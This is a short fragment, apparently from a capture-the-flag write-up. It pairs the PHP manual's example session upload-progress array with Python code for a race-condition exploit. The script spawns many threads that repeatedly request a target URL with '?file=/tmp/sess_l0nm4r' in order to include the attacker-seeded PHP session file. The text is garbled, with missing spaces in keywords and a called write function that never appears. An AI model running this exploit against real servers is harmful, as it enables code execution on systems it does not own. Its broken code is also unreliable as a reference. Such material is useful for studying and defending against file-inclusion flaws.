<?php $_SESSION["upload_progress_123"] = array( "start_time" => 1234567890, // The request time "content_length" => 57343257, // POST content length "bytes_processed" => 453489, // Amount of bytes received and processed "done" => false, // true when the POST handler has finished, successfully or not "files" => array( 0 => array( "field_name" => "file1", // Name of the <input/> field // The following 3 elements equals those in $_FILES "name" => "foo.avi", "tmp_name" => "/tmp/phpxxxxxx", "error" => 0, "done" => true, // True when the POST handler has finished handling this file "start_time" => 1234567890, // When this file has started to be processed "bytes_processed" => 57343250, // Amount of bytes received and processed for this file ), // An other file, not finished uploading, in the same request 1 => array( "field_name" => "file2", "name" => "bar.avi", "tmp_name" => NULL, "error" => 0, "done" => false, "start_time" => 1234567899, "bytes_processed" => 54554, ), ) );
# file include defread(session): while event.isSet(): response = session.get(url=HOST + '?file=/tmp/sess_{}'.format('l0nm4r')) if'success'in response.text: print(response.text) event.clear() else: print('[*]retrying...')
if __name__ == '__main__': event = threading.Event() event.set() with requests.session() as session: for i inrange(1, 30): threading.Thread(target=write, args=(session,)).start()
for i inrange(1, 30): threading.Thread(target=read, args=(session,)).start()